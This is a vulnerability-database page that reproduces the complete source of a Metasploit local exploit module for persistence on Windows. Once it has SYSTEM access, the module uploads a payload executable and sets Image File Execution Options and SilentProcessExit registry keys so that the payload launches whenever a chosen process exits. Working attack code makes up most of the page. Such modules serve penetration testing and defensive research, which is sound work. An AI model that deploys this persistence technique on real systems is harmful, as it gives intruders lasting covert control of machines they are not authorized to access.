Lucene search
K

Windows Silent Process Exit Persistence

🗓️ 29 Sep 2025 18:52:52Reported by Mithun Shanbhag, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 803 Views

Windows module uploads a payload and configures a debug process to launch on a target process exit.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/persistence_image_exec_options'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Silent Process Exit Persistence',
        'Description' => %q{
          Windows allows you to set up a debug process when a process exits.
          This module uploads a payload and declares that it is the debug
          process to launch when a specified process exits.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mithun Shanbhag', # earliest author found
          'bwatters-r7', # msf module
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2008-06-28',
        'Privileged' => true,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
          ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options([
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])

    ])
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

    return CheckCode::Safe('You must be System to run this Module') unless is_system?

    CheckCode::Appears('Likely exploitable')
  end

  def upload_payload(dest_pathname)
    payload_exe = generate_payload_exe
    write_file(dest_pathname, payload_exe)
    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
  end

  def validate_active_host
    unless is_system?
      fail_with(Failure::NoAccess, 'You must be System to run this Module')
    end

    begin
      print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def write_reg_keys(image_file, payload_pathname)
    reg_keys = []
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
                  value_name: 'GlobalFlag',
                  type: 'REG_DWORD',
                  value_value: 512)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                  value_name: 'ReportingMode',
                  type: 'REG_DWORD',
                  value_value: 1)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                  value_name: 'MonitorProcess',
                  type: 'REG_SZ',
                  value_value: payload_pathname)
    silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
    registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
    reg_keys.each do |key|
      registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
      vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
      registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
      unless registry_getvalinfo(key[:key_name], key[:value_name])
        print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
        return false
      end
    end
  end

  def install_persistence
    validate_active_host
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    temp_path = writable_dir
    image_file = datastore['IMAGE_FILE']
    payload_pathname = temp_path + '\\' + payload_name + '.exe'
    vprint_status("Payload pathname = #{payload_pathname}")
    upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
    @clean_up_rc << "rm #{payload_pathname}\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
5.8Medium risk
Vulners AI Score5.8
803